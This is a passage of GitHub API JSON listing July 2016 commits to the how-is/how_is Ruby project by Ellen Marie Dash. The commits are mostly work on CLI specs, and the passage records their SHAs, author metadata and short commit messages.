or/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2dadcfeef93c88a250ebac083cc3680e9d43f299","url":"https://api.github.com/repos/how-is/how_is/commits/2dadcfeef93c88a250ebac083cc3680e9d43f299","html_url":"https://github.com/how-is/how_is/commit/2dadcfeef93c88a250ebac083cc3680e9d43f299"}]},{"sha":"2dadcfeef93c88a250ebac083cc3680e9d43f299","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmRhZGNmZWVmOTNjODhhMjUwZWJhYzA4M2NjMzY4MGU5ZDQzZjI5OQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:30:02Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:30:02Z"},"message":"Trigger CI build","tree":{"sha":"d3825839b3f8e9ecd49323273c73ba6d5b4abc6d","url":"https://api.github.com/repos/how-is/how_is/git/trees/d3825839b3f8e9ecd49323273c73ba6d5b4abc6d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2dadcfeef93c88a250ebac083cc3680e9d43f299","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2dadcfeef93c88a250ebac083cc3680e9d43f299","html_url":"https://github.com/how-is/how_is/commit/2dadcfeef93c88a250ebac083cc3680e9d43f299","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2dadcfeef93c88a250ebac083cc3680e9d43f299/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a9b08bf244610b2834eada7a0d56b81d07b35ba","url":"https://api.github.com/repos/how-is/how_is/commits/9a9b08bf244610b2834eada7a0d56b81d07b35ba","html_url":"https://github.com/how-is/how_is/commit/9a9b08bf244610b2834eada7a0d56b81d07b35ba"}]},{"sha":"9a9b08bf244610b2834eada7a0d56b81d07b35ba","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWE5YjA4YmYyNDQ2MTBiMjgzNGVhZGE3YTBkNTZiODFkMDdiMzViYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:24:28Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-07-28T20:24:28Z"},"message":"Merge pull request #24 from how-is/cli-specs\n\nCLI specs","tree":{"sha":"d3825839b3f8e9ecd49323273c73ba6d5b4abc6d","url":"https://api.github.com/repos/how-is/how_is/git/trees/d3825839b3f8e9ecd49323273c73ba6d5b4abc6d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9a9b08bf244610b2834eada7a0d56b81d07b35ba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9a9b08bf244610b2834eada7a0d56b81d07b35ba","html_url":"https://github.com/how-is/how_is/commit/9a9b08bf244610b2834eada7a0d56b81d07b35ba","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9a9b08bf244610b2834eada7a0d56b81d07b35ba/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"1a2089a298e95460d2e400082045e56ea05a6991","url":"https://api.github.com/repos/how-is/how_is/commits/1a2089a298e95460d2e400082045e56ea05a6991","html_url":"https://github.com/how-is/how_is/commit/1a2089a298e95460d2e400082045e56ea05a6991"},{"sha":"e3146e820b9e88236d34773087142377058f54d5","url":"https://api.github.com/repos/how-is/how_is/commits/e3146e820b9e88236d34773087142377058f54d5","html_url":"https://github.com/how-is/how_is/commit/e3146e820b9e88236d34773087142377058f54d5"}]},{"sha":"e3146e820b9e88236d34773087142377058f54d5","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTMxNDZlODIwYjllODgyMzZkMzQ3NzMwODcxNDIzNzcwNThmNTRkNQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:23:49Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:23:49Z"},"message":"Remove old debugging code.","tree":{"sha":"d3825839b3f8e9ecd49323273c73ba6d5b4abc6d","url":"https://api.github.com/repos/how-is/how_is/git/trees/d3825839b3f8e9ecd49323273c73ba6d5b4abc6d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e3146e820b9e88236d34773087142377058f54d5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e3146e820b9e88236d34773087142377058f54d5","html_url":"https://github.com/how-is/how_is/commit/e3146e820b9e88236d34773087142377058f54d5","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e3146e820b9e88236d34773087142377058f54d5/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"436058ab9b5efe08aebd49ae467d4a0573084e1d","url":"https://api.github.com/repos/how-is/how_is/commits/436058ab9b5efe08aebd49ae467d4a0573084e1d","html_url":"https://github.com/how-is/how_is/commit/436058ab9b5efe08aebd49ae467d4a0573084e1d"}]},{"sha":"436058ab9b5efe08aebd49ae467d4a0573084e1d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDM2MDU4YWI5YjVlZmUwOGFlYmQ0OWFlNDY3ZDRhMDU3MzA4NGUxZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:23:34Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:23:34Z"},"message":"HowIs::CLI specs work.","tree":{"sha":"53f4145d996cf6d0e5becdc4e55bc4be3f9fd622","url":"https://api.github.com/repos/how-is/how_is/git/trees/53f4145d996cf6d0e5becdc4e55bc4be3f9fd622"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/436058ab9b5efe08aebd49ae467d4a0573084e1d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/436058ab9b5efe08aebd49ae467d4a0573084e1d","html_url":"https://github.com/how-is/how_is/commit/436058ab9b5efe08aebd49ae467d4a0573084e1d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/436058ab9b5efe08aebd49ae467d4a0573084e1d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d2cd7b0d7bb820253ba6dfa00898de55185c93a8","url":"https://api.github.com/repos/how-is/how_is/commits/d2cd7b0d7bb820253ba6dfa00898de55185c93a8","html_url":"https://github.com/how-is/how_is/commit/d2cd7b0d7bb820253ba6dfa00898de55185c93a8"}]},{"sha":"d2cd7b0d7bb820253ba6dfa00898de55185c93a8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDJjZDdiMGQ3YmI4MjAyNTNiYTZkZmEwMDg5OGRlNTUxODVjOTNhOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:15:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:15:32Z"},"message":"More work on specs.","tree":{"sha":"27665d474163bb056220486854aff8866b5d546d","url":"https://api.github.com/repos/how-is/how_is/git/trees/27665d474163bb056220486854aff8866b5d546d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d2cd7b0d7bb820253ba6dfa00898de55185c93a8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d2cd7b0d7bb820253ba6dfa00898de55185c93a8","html_url":"https://github.com/how-is/how_is/commit/d2cd7b0d7bb820253ba6dfa00898de55185c93a8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d2cd7b0d7bb820253ba6dfa00898de55185c93a8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8b334133263d0e47268cc72e3d0b4887d29c9afa","url":"https://api.github.com/repos/how-is/how_is/commits/8b334133263d0e47268cc72e3d0b4887d29c9afa","html_url":"https://github.com/how-is/how_is/commit/8b334133263d0e47268cc72e3d0b4887d29c9afa"}]},{"sha":"8b334133263d0e47268cc72e3d0b4887d29c9afa","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGIzMzQxMzMyNjNkMGU0NzI2OGNjNzJlM2QwYjQ4ODdkMjljOWFmYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:09:44Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T20:09:44Z"},"message":"More work on specs for HowIs::CLI.","tree":{"sha":"e40e13b1111b62753ab8a989dcc6b2af077dc85d","url":"https://api.github.com/repos/how-is/how_is/git/trees/e40e13b1111b62753ab8a989dcc6b2af077dc85d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8b334133263d0e47268cc72e3d0b4887d29c9afa","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8b334133263d0e47268cc72e3d0b4887d29c9afa","html_url":"https://github.com/how-is/how_is/commit/8b334133263d0e47268cc72e3d0b4887d29c9afa","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8b334133263d0e47268cc72e3d0b4887d29c9afa/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3724ed0cb0b8bca820462e0d41fab61e63a166de","url":"https://api.github.com/repos/how-is/how_is/commits/3724ed0cb0b8bca820462e0d41fab61e63a166de","html_url":"https://github.com/how-is/how_is/commit/3724ed0cb0b8bca820462e0d41fab61e63a166de"}]},{"sha":"3724ed0cb0b8bca820462e0d41fab61e63a166de","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzcyNGVkMGNiMGI4YmNhODIwNDYyZTBkNDFmYWI2MWU2M2ExNjZkZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:43:38Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:43:38Z"},"message":"[WIP] More work on HowIs::CLI specs.","tree":{"sha":"5923df83133a8043f1c8a2ecf610a5036f5d3c24","url":"https://api.github.com/repos/how-is/how_is/git/trees/5923df83133a8043f1c8a2ecf610a5036f5d3c24"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3724ed0cb0b8bca820462e0d41fab61e63a166de","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3724ed0cb0b8bca820462e0d41fab61e63a166de","html_url":"https://github.com/how-is/how_is/commit/3724ed0cb0b8bca820462e0d41fab61e63a166de","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3724ed0cb0b8bca820462e0d41fab61e63a166de/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"024416305cdf8112206af1272f446e9af3d0f45a","url":"https://api.github.com/repos/how-is/how_is/commits/024416305cdf8112206af1272f446e9af3d0f45a","html_url":"https://github.com/how-is/how_is/commit/024416305cdf8112206af1272f446e9af3d0f45a"}]},{"sha":"024416305cdf8112206af1272f446e9af3d0f45a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MDI0NDE2MzA1Y2RmODExMjIwNmFmMTI3MmY0NDZlOWFmM2QwZjQ1YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:24:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:24:52Z"},"message":". != #","tree":{"sha":"8d4b61a91dc24372f2581e1b8d0b0c2bc88e902b","url":"https://api.github.com/repos/how-is/how_is/git/trees/8d4b61a91dc24372f2581e1b8d0b0c2bc88e902b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/024416305cdf8112206af1272f446e9af3d0f45a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/024416305cdf8112206af1272f446e9af3d0f45a","html_url":"https://github.com/how-is/how_is/commit/024416305cdf8112206af1272f446e9af3d0f45a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/024416305cdf8112206af1272f446e9af3d0f45a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1a2089a298e95460d2e400082045e56ea05a6991","url":"https://api.github.com/repos/how-is/how_is/commits/1a2089a298e95460d2e400082045e56ea05a6991","html_url":"https://github.com/how-is/how_is/commit/1a2089a298e95460d2e400082045e56ea05a6991"}]},{"sha":"1a2089a298e95460d2e400082045e56ea05a6991","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MWEyMDg5YTI5OGU5NTQ2MGQyZTQwMDA4MjA0NWU1NmVhMDVhNjk5MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:24:22Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:24:22Z"},"message":"Specs!","tree":{"sha":"e373c8a7b1726f9fb3eb14d4bef0ed1d2839b9df","url":"https://api.github.com/repos/how-is/how_is/git/trees/e373c8a7b1726f9fb3eb14d4bef0ed1d2839b9df"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/1a2089a298e95460d2e400082045e56ea05a6991","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/1a2089a298e95460d2e400082045e56ea05a6991","html_url":"https://github.com/how-is/how_is/commit/1a2089a298e95460d2e400082045e56ea05a6991","comments_url":"https://api.github.com/repos/how-is/how_is/commits/1a2089a298e95460d2e400082045e56ea05a6991/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"5da571a96955a83789dce0045ad12ee8cb821aaf","url":"https://api.github.com/repos/how-is/how_is/commits/5da571a96955a83789dce0045ad12ee8cb821aaf","html_url":"https://github.com/how-is/how_is/commit/5da571a96955a83789dce0045ad12ee8cb821aaf"}]},{"sha":"5da571a96955a83789dce0045ad12ee8cb821aaf","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NWRhNTcxYTk2OTU1YTgzNzg5ZGNlMDA0NWFkMTJlZThjYjgyMWFhZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:23:37Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-07-28T18:23:37Z"},"message":"Fix broken Contract.","tree":{"sha":"aa3259ca7fcab6afffc42cf9b913b579ffc9ae64","url":"https://api.github.com/repos/how-is/how_is/git/trees/aa3259ca7fcab6afffc42cf9b913b579ffc9ae64"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/5da571a96955a83789dce0045ad12ee8cb821aaf","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/5da571a96955a83789dce0045ad12ee8cb821aaf","html_url":"https://github.com/how-is/how_is/commit/5da571a96955a83789dce0045ad12ee8cb821aaf","comments_url":"https://api.github.com/repos/how-is/how_is/commits/5da571a96955a83789dce0045ad12ee8cb821aaf/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organiza